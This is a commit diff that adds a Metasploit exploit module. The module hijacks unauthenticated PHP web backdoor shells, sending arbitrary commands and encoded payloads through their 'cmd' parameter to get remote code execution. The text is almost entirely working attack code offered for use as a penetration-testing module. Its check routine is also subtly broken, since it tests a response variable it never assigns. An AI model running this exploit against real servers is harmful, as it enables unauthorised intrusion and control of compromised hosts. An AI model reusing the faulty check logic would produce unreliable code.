Land rapid7#5946, simple_backdoors_exec module

Author: wvu

modules/exploits/multi/http/simple_backdoors_exec.rb

@@ -0,0 +1,85 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => 'Simple Backdoor Shell Remote Code Execution',
+      'Description'    => %q{
+        This module exploits unauthenticated simple web backdoor shells by leveraging the
+        common backdoor shell's CMD parameter  to execute commands. The SecLists project of
+        Daniel Miessler and Jason Haddix has a lot of samples for these kind of backdoor shells
+        which is categorized under Payloads.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Jay Turla <@shipcod3>',
+        ],
+      'References'     =>
+        [
+          [ 'URL', 'http://resources.infosecinstitute.com/checking-out-backdoor-shells/' ],
+          [ 'URL', 'https://github.com/danielmiessler/SecLists/tree/master/Payloads' ] # Most PHP Web Backdoors Listed
+        ],
+      'Privileged'     => false,
+      'Payload'        =>
+        {
+          'Space'    => 2000,
+          'BadChars' => '',
+          'DisableNops' => true,
+          'Compat'      =>
+            {
+              'PayloadType' => 'cmd'
+            }
+        },
+      'Platform'       => %w{ unix win },
+      'Arch'           => ARCH_CMD,
+      'Targets'        =>
+        [
+          ['backdoor / Unix', { 'Platform' => 'unix' } ],
+          ['backdoor / Windows', { 'Platform' => 'win' } ]
+        ],
+      'DisclosureDate' => 'Sep 08 2015',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [true, 'The path of a backdoor shell', 'cmd.php']),
+      ],self.class)
+  end
+
+  def check
+    test = Rex::Text.rand_text_alpha(8)
+    http_send_command(test)
+    if res && res.body =~ /#{test}/
+      return Exploit::CheckCode::Vulnerable
+    end
+    return Exploit::CheckCode::Safe
+  end
+
+  def http_send_command(cmd)
+    res = send_request_cgi({
+      'method'   => 'GET',
+      'uri'      => normalize_uri(target_uri.path),
+      'vars_get' => {
+        'cmd' => cmd
+      }
+    })
+    unless res && res.code == 200
+      fail_with(Failure::Unknown, "Failed to execute the command.")
+    end
+    res
+  end
+
+  def exploit
+    http_send_command(payload.encoded)
+  end
+end